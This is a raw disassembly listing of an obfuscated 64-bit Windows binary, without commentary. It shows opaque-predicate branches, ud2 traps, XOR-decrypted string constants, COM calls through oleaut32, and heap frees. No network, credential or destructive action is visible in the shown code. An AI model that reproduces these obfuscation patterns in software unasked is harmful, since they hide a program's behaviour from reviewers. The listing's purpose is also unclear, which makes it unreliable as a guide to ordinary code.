jae 0x140020dc0
mov rcx, rsi
shl rcx, 4
add rcx, rbx
sub rsp, 0x20
call fcn.14000d4f0
add rsp, 0x20
jmp 0x140020dc0
test r14, r14
je 0x1400210c0
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0x260]
jmp 0x1400210b6
mov eax, dword [0x141dc2b68]
imul eax, dword [0x141dc2b6c]
add eax, 0xe945f300
mov ecx, 0xa912f0df
imul rcx, rax
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
add eax, 0x91c3c7b7
cmp eax, 0x3012dc98
jae 0x140020e70
ud2
mov eax, dword [0x141dc2b70]
xor edx, edx
div dword [0x141dc2b74]
xor eax, 0x40c08c20
and eax, 0xc6d18ca0
ud2
mov eax, 0x86303279
nop dword [rax]
mov ecx, dword [0x141dc2b08]
imul ecx, dword [0x141dc2b0c]
imul rcx, rax
shr rcx, 0x3d
imul ecx, ecx, 0x432ba8a2
ud2
mov eax, dword [0x141dc2b20]
sub eax, dword [0x141dc2b24]
add eax, 0x7f57bbb0
cmp eax, 0xe10503f7
ja 0x140022137
jmp 0x140022114
ud2
mov eax, dword [0x141dc2c20]
or eax, dword [0x141dc2c24]
imul rax, rax, 0x48586eb9
shr rax, 0x3e
or eax, 0x42c051be
imul esi, eax, 0xf780f6ba
mov qword [rbp + 0xd0], 0
sub rsp, 0x20
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
add rsp, 0x20
cmp esi, 0x2d90f146
jae 0x140020f8c
mov qword [rbp + 0xd0], 0
sub rsp, 0x20
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
add rsp, 0x20
jmp 0x140020f1c
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x140020fb0
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2c28]
imul eax, dword [0x141dc2c2c]
add eax, 0x5367e82c
cmp eax, 0x8d07ad68
jb 0x140020fb0
mov eax, 0x93cc05dd
nop
mov ecx, dword [0x141dc2c30]
sub ecx, dword [0x141dc2c34]
add ecx, 0xba065efb
imul rcx, rax
shr rcx, 0x3e
or ecx, 0xc65d1468
cmp ecx, 0xb7c1498a
jb 0x140020fd0
test rdi, rdi
je 0x14002102d
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
nop
mov eax, dword [0x141dc2c38]
or eax, dword [0x141dc2c3c]
and eax, 0x4049c0
add eax, 0x14f44562
cmp eax, 0x2cff60b6
ja 0x140021010
test r15, r15
je 0x14002109d
mov eax, dword [0x141dc2c40]
xor eax, dword [0x141dc2c44]
and eax, 0x30430000
add eax, 0x1596fd30
cmp eax, 0x28024b1
jae 0x140021060
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2c48]
add eax, dword [0x141dc2c4c]
or eax, 0x137f6cf3
add eax, 0xf3ced5bb
cmp eax, 0x6afdd029
jb 0x140021080
test r14, r14
je 0x1400210c0
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov eax, dword [str.ZHz]
xor edx, edx
div dword [0x141dc2d84]
add eax, 0xb14e8e64
xor eax, 0x3d770cd9
ud2
sub rsp, 0x20
lea rdx, [0x141db9b48]
lea rsi, [rbp + 0xd0]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400deae0
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x140020f1a
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x230], rax
lea rax, [0x141db47ea]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0xa0596f644dfda2a
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.1400197f0
add rsp, 0x20
movabs rcx, 0xc9e5e40061458c64
xor rcx, qword [rax]
movabs rdx, 0xc8d6d2d9de08f2
xor rdx, qword [rax + 8]
movabs r8, 0xee80e0905841e0bb
xor r8, qword [rax + 0x10]
movabs r9, 0x747de76a0c1a2f9
xor r9, qword [rax + 0x18]
movabs r10, 0xec039e276da56672
xor r10, qword [rax + 0x20]
mov r11d, 0x67210944
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x40
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0xf0], r10
mov dword [rbp + 0xf8], r11d
mov byte [rbp + 0xfc], al
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
lea rsi, [rbp + 0x230]
lea r8, [rbp + 0xd0]
mov r9d, 0x2d
mov rdx, rsi
call fcn.140007550
add rsp, 0x20
cmp byte [rbp + 0x1d0], 0x12
jne 0x140021e03
mov rax, qword [rbp + 0x1d8]
mov rbx, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1e8]
test r12, r12
je 0x1400214ee
mov qword [rbp + 0x1c8], rax
lea rax, [r12 + r12*2]
shl rax, 4
add rax, rbx
mov qword [rbp + 0x270], rax
mov r15d, 0xc408b7f9
mov qword [rbp + 0x260], rbx
mov ecx, dword [0x141dc2e20]
and ecx, dword [0x141dc2e24]
xor ecx, 0xb8c9e9bc
imul ecx, ecx, 0xfee50784
add ecx, 0x5d2bc3e8
cmp ecx, 0xa0e1c94f
ja 0x140021260
lea rcx, [rbx + 0x30]
mov qword [rbp + 0x268], rcx
mov rsi, qword [rbx]
mov r13, qword [rbx + 0x18]
lea rdi, [rsi + 0x10]
movdqa xmm0, xmmword [rsi]
pmovmskb ecx, xmm0
not ecx
jmp 0x1400212d4
dec r13
sub rsp, 0x20
mov rcx, r14
lea rdx, [0x140102ee0]
call fcn.1400170f0
add rsp, 0x20
mov ecx, ebx
test al, al
jne 0x1400214b1
test r13, r13
je 0x140021470
nop dword [rax]
mov eax, dword [0x141dc2e28]
imul eax, dword [0x141dc2e2c]
imul eax, eax, 0xf159b0e0
add eax, 0x871ffd60
cmp eax, 0x94a9ebd0
ja 0x1400212e0
test cx, cx
je 0x1400213a0
nop dword [rax + rax]
mov eax, dword [0x141dc2e38]
xor edx, edx
div dword [0x141dc2e3c]
add eax, 0x760e8093
and eax, 0x7e88d685
cmp eax, 0x50b7d454
jb 0x140021310
lea ebx, [rcx - 1]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2e40]
and eax, dword [0x141dc2e44]
and eax, 0x87e1f235
xor eax, 0x6a020c2c
add eax, 0x5506563
cmp eax, 0xd5757990
ja 0x140021340
and ebx, ecx
nop word cs:[rax + rax]
mov eax, dword [0x141dc2e48]
and eax, dword [0x141dc2e4c]
and eax, 0x4a03a78
imul eax, eax, 0xd8b28eae
add eax, 0xfed462ea
cmp eax, 0x8277f7c2
ja 0x140021370
jmp 0x1400213e9
mov eax, dword [0x141dc2e30]
or eax, dword [0x141dc2e34]
add eax, 0x20b023a3
and eax, 0x8a12e310
imul eax, eax, 0x83d48390
cmp eax, 0x9b66ff9
jb 0x1400213a0
add rsi, 0xfffffffffffffc80
movdqa xmm0, xmmword [rdi]
add rdi, 0x10
pmovmskb ecx, xmm0
cmp cx, 0xffff
je 0x1400213a0
mov eax, 0xfffffffe
sub eax, ecx
not ecx
mov ebx, ecx
and ebx, eax
tzcnt eax, ecx
neg rax
imul r14, rax, 0x38
add r14, rsi
add r14, 0xffffffffffffffe0
je 0x140021470
sub rsp, 0x20
mov rcx, r14
lea rdx, [0x140102ec0]
call fcn.1400170f0
add rsp, 0x20
mov cl, 1
mov dword [rbp + 0x258], ecx
test al, al
jne 0x1400214b1
mov eax, dword [0x141dc2e50]
sub eax, dword [0x141dc2e54]
add eax, 0xa8124105
and eax, 0xac334fe8
add eax, 0x38698dee
cmp eax, 0x2ebd238b
jae 0x1400212b0
sub rsp, 0x20
mov rcx, r14
lea rdx, [0x140102ee0]
call fcn.1400170f0
add rsp, 0x20
jmp 0x1400212b0
mov eax, dword [0x141dc2e58]
and eax, dword [0x141dc2e5c]
imul rax, r15
shr rax, 0x3f
or eax, 0x76997dac
cmp eax, 0x3f66f840
jb 0x140021470
mov rcx, qword [rbp + 0x268]
mov rbx, rcx
cmp rcx, qword [rbp + 0x270]
jne 0x140021260
mov dword [rbp + 0x258], 0
mov rbx, qword [rbp + 0x260]
mov rdi, rbx
nop dword [rax + rax]
sub rsp, 0x20
mov rcx, rdi
call fcn.14000d4f0
add rsp, 0x20
add rdi, 0x30
dec r12
jne 0x1400214c0
lea rsi, [rbp + 0x230]
mov rax, qword [rbp + 0x1c8]
test rax, rax
jne 0x1400214fd
jmp 0x140021545
mov dword [rbp + 0x258], 0
test rax, rax
je 0x140021545
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x141dc2e60]
xor edx, edx
div dword [0x141dc2e64]
imul eax, eax, 0xb377356d
xor eax, 0xc6eebee4
add eax, 0x9cf71ae8
cmp eax, 0xff3baedc
ja 0x140021520
mov rcx, qword [rbp + 0x230]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
lea rdx, [0x141db9b48]
lea rcx, [rbp + 0xd0]
mov r8d, 0xa
call fcn.1400deae0
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x140021da7
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x80], rax
lea rax, [0x141db30ad]
mov qword [rbp + 0x230], rax
mov rcx, qword [rbp + 0x230]
movabs rax, 0x75c8fad929280cac
mov qword [rbp + 0x230], rax
mov rdx, qword [rbp + 0x230]
sub rsp, 0x20
call fcn.140017fa0
add rsp, 0x20
movabs rcx, 0x1ab547d335f0a15e
xor rcx, qword [rax]
movabs rdx, 0x1a64a3c3fba0a074
xor rdx, qword [rax + 8]
movabs r8, 0xa1a95dd4d8c1d6d
xor r8, qword [rax + 0x10]
mov r9d, 0x4c82282d
xor r9d, dword [rax + 0x18]
movzx ebx, word [rax + 0x1c]
mov r14d, ebx
xor r14b, 0x2e
shr ebx, 8
xor bl, 0x11
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov qword [rbp + 0x1e0], r8
mov dword [rbp + 0x1e8], r9d
mov eax, dword [0x141dc2e68]
xor eax, dword [0x141dc2e6c]
or eax, 0xb6902c56
xor eax, 0x809af4a9
add eax, 0x387c5db1
cmp eax, 0x5146805
jae 0x14002167f
mov byte [rbp + 0x1ec], r14b
mov byte [rbp + 0x1ed], bl
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0x80]
lea r8, [rbp + 0x1d0]
mov r9d, 0x1e
call fcn.140007550
add rsp, 0x20
lea rsi, [rbp + 0xd0]
lea r12, [rbp + 0x80]
lea rdi, [rbp + 0x1d0]
nop word cs:[rax + rax]
mov r15d, dword [0x141dc2e70]
imul r15d, dword [0x141dc2e74]
imul rax, r15, 0x4806a2d1
shr rax, 0x20
sub r15d, eax
shr r15d, 1
add r15d, eax
shr r15d, 0x1c
add r15d, 0x549ddfbd
mov byte [rbp + 0x1ec], r14b
mov byte [rbp + 0x1ed], bl
sub rsp, 0x20
mov r9d, 0x1e
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call fcn.140007550
add rsp, 0x20
cmp r15d, 0xf80ecd70
ja 0x1400216a0
cmp byte [rbp + 0xd0], 0x12
jne 0x140021e2f
nop dword [rax]
mov eax, dword [0x141dc2e80]
sub eax, dword [0x141dc2e84]
and eax, 0x2020030
add eax, 0xe0f80be9
cmp eax, 0xbffb0a7c
jb 0x140021710
mov rbx, qword [rbp + 0xd8]
mov rsi, qword [rbp + 0xe0]
mov r13, qword [rbp + 0xe8]
lea rdi, [r13*2]
add rdi, r13
shl rdi, 4
add rdi, rsi
nop word cs:[rax + rax]
mov eax, dword [0x141dc2e88]
or eax, dword [0x141dc2e8c]
or eax, 0xa78db18f
imul eax, eax, 0x4475a650
xor eax, 0x8683cfcc
mov qword [rbp + 0x1d0], rsi
cmp eax, 0xbef0517
jae 0x140021793
mov qword [rbp + 0x1d0], rsi
jmp 0x140021760
mov eax, dword [0x141dc2e90]
add eax, dword [0x141dc2e94]
xor eax, 0xc1940954
add eax, 0x6f3620ec
xor eax, 0x4774582
cmp eax, 0xa2aa23b5
jbe 0x1400217ed
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x208], 0
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0x1d0]
call fcn.140001ab0
add rsp, 0x20
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x208], 0
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0x1d0]
call fcn.140001ab0
add rsp, 0x20
movabs rax, 0x8000000000000000
cmp qword [rbp + 0xd0], rax
mov qword [rbp + 0x268], rbx
jne 0x140021880
xor r14d, r14d
nop word cs:[rax + rax]
mov eax, dword [str.2oRa]
add eax, dword [0x141dc2e9c]
imul eax, eax, 0xe80e6c3d
or eax, 0x1d6f4454
imul eax, eax, 0xd302f77e
cmp eax, 0x244ba4f
jbe 0x140021850
mov ebx, 8
xor edi, edi
jmp 0x140021b52
movzx eax, byte [0x141ddb278]
mov eax, dword [0x141dc2ea0]
add eax, dword [0x141dc2ea4]
and eax, 0xb55dd596
imul rcx, rax, 0x35d6eed9
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1b
add eax, 0x7b2c9ffe
cmp eax, 0x5595a5a9
jae 0x1400218cc
sub rsp, 0x20
mov edx, 0x60
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
sub rsp, 0x20
mov edx, 0x60
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140021dd5
mov r12, rax
mov rax, qword [rbp + 0xe0]
mov qword [r12 + 0x10], rax
movups xmm0, xmmword [rbp + 0xd0]
movups xmmword [r12], xmm0
mov qword [rbp + 0xb0], 4
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 1
movups xmm0, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x110], xmm0
movdqu xmm0, xmmword [rbp + 0x1d0]
movups xmm1, xmmword [rbp + 0x1e0]
movups xmm2, xmmword [rbp + 0x1f0]
movups xmm3, xmmword [rbp + 0x200]
movaps xmmword [rbp + 0x100], xmm3
movaps xmmword [rbp + 0xf0], xmm2
movaps xmmword [rbp + 0xe0], xmm1
movdqa xmmword [rbp + 0xd0], xmm0
mov edi, 1
lea rbx, [rbp + 0x230]
lea r14, [rbp + 0xd0]
lea r15, [rbp + 0xb0]
jmp 0x1400219c8
lea rax, [rdi + rdi*2]
mov rcx, qword [rbp + 0x240]
mov qword [r12 + rax*8 + 0x10], rcx
movdqu xmm0, xmmword [rbp + 0x230]
movdqu xmmword [r12 + rax*8], xmm0
inc rdi
mov qword [rbp + 0xc0], rdi
sub rsp, 0x20
mov rcx, rbx
mov rdx, r14
call fcn.140001ab0
add rsp, 0x20
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x230], rax
je 0x140021b20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2eb0]
add eax, dword [0x141dc2eb4]
cmp eax, 0x8c4dcb1f
je 0x140021a00
mov rax, qword [rbp + 0xb0]
nop word [rax + rax]
mov ecx, dword [0x141dc2eb8]
add ecx, dword [0x141dc2ebc]
xor ecx, 0x8041852
and ecx, 0x4a251f5a
imul ecx, ecx, 0xe36d45ce
cmp ecx, 0x82af112
ja 0x140021a20
cmp rdi, rax
jne 0x1400219a0
mov eax, dword [0x141dc2ec0]
xor eax, dword [0x141dc2ec4]
or eax, 0xb4da20cf
imul eax, eax, 0xbdbbc9f4
and eax, 0x83d5a680
cmp eax, 0xa171fb6
jae 0x140021a9a
sub rsp, 0x30
mov qword [rsp + 0x20], 0x18
mov r8d, 1
mov r9d, 8
mov rcx, r15
mov rdx, rdi
call fcn.1400fe010
add rsp, 0x30
mov eax, dword [0x141dc2ec8]
xor eax, dword [0x141dc2ecc]
and eax, 0x58081644
or eax, 0x5f340ba
imul r12d, eax, 0x7a36a329
sub rsp, 0x30
mov qword [rsp + 0x20], 0x18
mov r8d, 1
mov r9d, 8
mov rcx, r15
mov rdx, rdi
call fcn.1400fe010
add rsp, 0x30
cmp r12d, 0xcf416c46
ja 0x140021a72
mov r12, qword [rbp + 0xb8]
nop
mov eax, dword [str._Wgb5]
add eax, dword [0x141dc2ed4]
imul eax, eax, 0x1c6bc0d5
and eax, 0x5d5297f8
imul eax, eax, 0x80633706
cmp eax, 0xfedb9ec2
ja 0x140021af0
jmp 0x1400219a0
mov eax, dword [0x141dc2ed8]
sub eax, dword [0x141dc2edc]
imul eax, eax, 0x449e5af8
or eax, 0x1ce7a916
imul eax, eax, 0x7948fbb1
cmp eax, 0xdd303313
ja 0x140021b20
mov r14, qword [rbp + 0xb0]
mov rbx, qword [rbp + 0xb8]
lea rax, [rdi + rdi*2]
lea rdx, [rbx + rax*8]
mov rax, rbx
nop dword [rax]
mov r8, rax
cmp rax, rdx
je 0x140021b7f
mov rcx, qword [r8 + 0x10]
cmp rcx, 0x80
je 0x140021b7f
lea rax, [r8 + 0x18]
cmp rcx, 0x40
jne 0x140021b60
mov qword [rbp + 0x260], r8
mov qword [rbp + 0xa8], rdx
nop dword [rax]
mov eax, dword [0x141dc2ef0]
add eax, dword [0x141dc2ef4]
and eax, 0x39ac8405
add eax, 0x2c212dcf
xor eax, 0xc23b36bc
cmp eax, 0xe89d7e75
jb 0x140021b90
test rdi, rdi
je 0x140021ca9
xor r15d, r15d
jmp 0x140021bd0
inc r15
cmp r15, rdi
je 0x140021ca9
nop dword [rax]
mov eax, dword [0x141dc2ef8]
xor edx, edx
div dword [0x141dc2efc]
xor eax, 0xc498080a
imul rax, rax, 0x1959fc95
shr rax, 0x3a
imul eax, eax, 0xeae91dcb
cmp eax, 0x8fb2f869
jb 0x140021bd0
lea rax, [r15 + r15*2]
cmp qword [rbx + rax*8], 0
je 0x140021bc0
lea r12, [rbx + rax*8]
nop word [rax + rax]
mov eax, dword [0x141dc2f00]
xor edx, edx
div dword [0x141dc2f04]
cmp eax, 0x2eb7ecfa
je 0x140021c10
mov eax, dword [0x141dc2f08]
or eax, dword [0x141dc2f0c]
imul eax, eax, 0x88856a0a
cmp eax, 0x982b05ea
jne 0x140021c5a
mov r8, qword [r12 + 8]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov r8, qword [r12 + 8]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f10]
imul eax, dword [0x141dc2f14]
xor eax, 0xa7327242
imul eax, eax, 0x7bbb3e5d
add eax, 0xceb00bde
cmp eax, 0xa23329cb
ja 0x140021c80
jmp 0x140021bc0
test r14, r14
je 0x140021cc8
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
test r13, r13
lea rbx, [rbp + 0x230]
je 0x140021cf9
mov rdi, rsi
nop word [rax + rax]
sub rsp, 0x20
mov rcx, rdi
call fcn.14000d4f0
add rsp, 0x20
add rdi, 0x30
dec r13
jne 0x140021ce0
cmp qword [rbp + 0x268], 0
je 0x140021d3f
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141dc2f18]
mov ecx, dword [0x141dc2f1c]
add eax, ecx
add eax, 0x9e360fe4
xor eax, 0x895eec9c
cmp eax, 0x21bf389d
jb 0x140021d20
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
lea rdx, [0x141db9b48]
lea rcx, [rbp + 0xd0]
mov r8d, 0xa
call fcn.1400deae0
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x140020f1a
mov eax, dword [0x141dc2f20]
xor edx, edx
div dword [0x141dc2f24]
and eax, 0x9407998c
xor eax, 0xbca0c7df
add eax, 0x49854b7
cmp eax, 0x2e72a8f4
jb 0x140022168
jmp 0x14002213b
ud2
ud2
mov eax, dword [0x141dc2e08]
xor eax, dword [0x141dc2e0c]
imul eax, eax, 0xdb7bcfe8
or eax, 0xae7d7f61
add eax, 0x16cb639b
cmp eax, 0x50ce0683
jb 0x1400225e2
jmp 0x1400225b8
mov eax, dword [0x141dc2ee0]
xor eax, dword [0x141dc2ee4]
imul eax, eax, 0x1132b92d
cmp eax, 0x8ebf9879
je 0x14002447b
jmp 0x140024451
mov esi, dword [0x141dc2cc0]
and esi, dword [0x141dc2cc4]
or esi, 0xdfffff3f
add esi, 0x1235bf1f
sub rsp, 0x20
lea rcx, [rbp + 0x230]
call fcn.14000d870
add rsp, 0x20
cmp esi, 0xee97dc20
ja 0x140021e9b
sub rsp, 0x20
lea rcx, [rbp + 0x230]
call fcn.14000d870
add rsp, 0x20
jmp 0x140021e51
mov bl, 0x12
mov r14, qword [rbp + 0x1b8]
mov rax, qword [r13]
sub rsp, 0x20
mov rcx, r13
call qword [rax + 0x10]
add rsp, 0x20
cmp bl, 0x12
jne 0x1400210c0
lea rsi, [r14 + r14*2]
cmp qword [rbp + 0x1b0], 0
je 0x140021f73
mov eax, dword [0x141dc2d88]
imul eax, dword [0x141dc2d8c]
and eax, 0x2b35304d
imul eax, eax, 0x881dcea6
or eax, 0xa563fc5e
cmp eax, 0xda581e82
jbe 0x140021efc
mov rax, qword [0x141ddb260]
mov eax, 0xa21855ad
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2d90]
add ecx, dword [0x141dc2d94]
xor ecx, 0x18545ab2
imul rcx, rax
shr rcx, 0x3f
imul edx, ecx, 0xf5f4d8b9
mov rcx, qword [0x141ddb260]
cmp edx, 0xb12c13fc
ja 0x140021f10
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d98]
or eax, dword [0x141dc2d9c]
cmp eax, 0xd8c3f24e
je 0x140021f60
mov rax, qword [rbp + 0xa8]
lea rdi, [rax + rsi*8]
lea rax, [r14*8]
lea rcx, [rax + rax*2]
mov eax, 0xd8
sub rax, rcx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
shr rsi, 4
nop word cs:[rax + rax]
mov eax, dword [0x141dc2da0]
or eax, dword [0x141dc2da4]
or eax, 0xe56b695
imul eax, eax, 0x60ae7dff
cmp eax, 0x34e267cb
je 0x140021fb0
cmp r14, 9
je 0x14002209f
xor ebx, ebx
nop word [rax + rax]
lea rax, [rbx + rbx*2]
cmp qword [rdi + rax*8], 0
je 0x140022063
lea rax, [rdi + rax*8]
nop
mov ecx, dword [0x141dc2da8]
add ecx, dword [0x141dc2dac]
imul ecx, ecx, 0xdddbbb42
and ecx, 0x9eee7450
xor ecx, 0x5ad5a787
cmp ecx, 0x32423643
jb 0x140021ff0
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2db0]
sub ecx, dword [0x141dc2db4]
imul rcx, rcx, 0x34be964b
shr rcx, 0x3d
xor ecx, 0x3896977b
add ecx, 0x363a94c0
cmp ecx, 0x6679286d
jb 0x140022020
mov r8, qword [rax + 8]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call r12
add rsp, 0x20
inc rbx
nop word cs:[rax + rax]
mov eax, dword [0x141dc2db8]
xor edx, edx
div dword [0x141dc2dbc]
imul eax, eax, 0x1273d3d3
and eax, 0x4be1582f
imul eax, eax, 0x5dfd22eb
cmp eax, 0x6a481653
jb 0x140022070
cmp rbx, rsi
jne 0x140021fe0
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rsi, qword [rbp + 0x60]
mov rdi, qword [rsi]
mov ebx, 0x82bf2985
nop dword [rax]
mov r14d, dword [0x141dc2dc0]
xor r14d, dword [0x141dc2dc4]
imul r14, rbx
shr r14, 0x3f
not r14d
and r14d, 0x4080aa51
sub rsp, 0x20
mov rcx, rsi
call qword [rdi + 0x10]
add rsp, 0x20
cmp r14d, 0x80dc6ae8
jae 0x1400220d0
mov al, 1
mov dword [rbp + 0x1a8], eax
jmp 0x1400210e6
mov eax, dword [0x141dc2b28]
add eax, dword [0x141dc2b2c]
or eax, 0x569092ff
and eax, 0x569192ff
ud2
ud2
mov eax, dword [0x141dc2f28]
xor edx, edx
div dword [0x141dc2f2c]
xor eax, 0x60408
and eax, 0x10e04a9
mov rcx, qword [rbp + 0xd8]
mov qword [rbp + 0xb0], rcx
cmp eax, 0x22ece17f
jbe 0x140022178
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0xb0], rax
jmp 0x14002213b
lea rax, [0x141da5a29]
mov qword [rbp + 0x230], rax
mov rcx, qword [rbp + 0x230]
movabs rax, 0xce61db0488e4ac61
mov qword [rbp + 0x230], rax
mov rdx, qword [rbp + 0x230]
sub rsp, 0x20
call fcn.140017f40
add rsp, 0x20
movabs rcx, 0x26cb94c73b6f670
xor rcx, qword [rax]
movabs rdx, 0xd9f2e7193deb0e2e
xor rdx, qword [rax + 8]
movabs r8, 0x3b35fc1a272137b1
xor r8, qword [rax + 0x10]
mov r9d, 0x12693661
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0x53
xor r11b, 0x8a
xor r10b, 4
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov qword [rbp + 0x1e0], r8
mov dword [rbp + 0x1e8], r9d
mov byte [rbp + 0x1ec], al
mov byte [rbp + 0x1ed], r11b
mov byte [rbp + 0x1ee], r10b
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0xb0]
lea r8, [rbp + 0x1d0]
mov r9d, 0x1f
call fcn.140007550
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x140022588
mov r14, qword [rbp + 0xd8]
nop dword [rax + rax]
mov eax, dword [0x141dc2f30]
xor eax, dword [0x141dc2f34]
imul eax, eax, 0xe02d49c
xor eax, 0x42ece755
cmp eax, 0xceed631
jb 0x140022270
mov rsi, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x14002233c
xor r15d, r15d
mov rdi, rsi
mov r12, qword [rbp + 0x1b0]
jmp 0x1400222cc
add rdi, 0x30
inc r15
dec r12
je 0x14002233c
mov eax, dword [0x141dc2f38]
xor edx, edx
div dword [0x141dc2f3c]
imul eax, eax, 0xf30da19c
add eax, 0xd65e4a8e
cmp eax, 0x854b781e
jb 0x14002232a
nop dword [rax]
mov eax, dword [0x141dc2f40]
xor edx, edx
div dword [0x141dc2f44]
mov ebx, eax
and ebx, 0xb666cc87
xor ebx, 0xede4354d
add ebx, 0xac326a32
sub rsp, 0x20
mov rcx, rdi
call fcn.14000d4f0
add rsp, 0x20
cmp ebx, 0x4c7a7862
jae 0x1400222c0
sub rsp, 0x20
mov rcx, rdi
call fcn.14000d4f0
add rsp, 0x20
jmp 0x1400222f0
test r14, r14
mov r14, qword [rbp + 0x58]
je 0x1400223da
mov eax, dword [0x141dc2f48]
or eax, dword [0x141dc2f4c]
xor eax, 0xdbc11d1a
add eax, 0xe10d49a6
cmp eax, 0x4d428c85
jae 0x140022370
mov rax, qword [0x141ddb260]
nop dword [rax]
mov eax, dword [0x141dc2f50]
imul eax, dword [0x141dc2f54]
add eax, 0x367841db
xor eax, 0xbf233c42
imul eax, eax, 0xd6569199
mov rdi, qword [0x141ddb260]
cmp eax, 0xea3db2d1
ja 0x140022370
mov eax, dword [0x141dc2f58]
sub eax, dword [0x141dc2f5c]
cmp eax, 0x4c470d94
jne 0x1400223c4
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov edi, 0x9a7ecbe7
sub rsp, 0x20
lea rsi, [rbp + 0xd0]
mov rcx, rsi
call fcn.1400daef0
mov rcx, rsi
call fcn.1400db820
add rsp, 0x20
mov rax, qword [rbp + 0x140]
